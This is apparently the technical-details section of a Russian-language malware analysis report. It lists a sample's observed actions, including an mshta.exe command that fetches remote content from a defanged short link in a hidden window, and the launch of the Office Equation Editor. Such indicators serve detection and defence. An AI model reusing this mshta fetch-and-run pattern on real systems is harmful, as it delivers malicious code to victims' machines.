Техническая информация
- '<SYSTEM32>\mshta.exe' http://bi#.ly/2lTV7xa &AAAAAAAAAAAAAAAC
- DNS ASK bi#.ly
- ClassName: 'MsoHelp11' WindowName: ''
- '<SYSTEM32>\mshta.exe' http://bi#.ly/2lTV7xa &AAAAAAAAAAAAAAAC' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding